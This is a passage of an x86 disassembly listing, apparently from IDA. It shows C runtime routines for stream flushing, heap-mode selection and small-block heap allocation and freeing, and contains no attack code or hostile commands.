mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 26A059Eh cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26E0605h test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2890000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2680000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4823F2E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0D9E8004Dh dd 90024821h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 3A21BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 27B0000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 nop call near ptr 2850000h cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 27C0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28A0899h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 call near ptr 27B0000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28A0899h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; 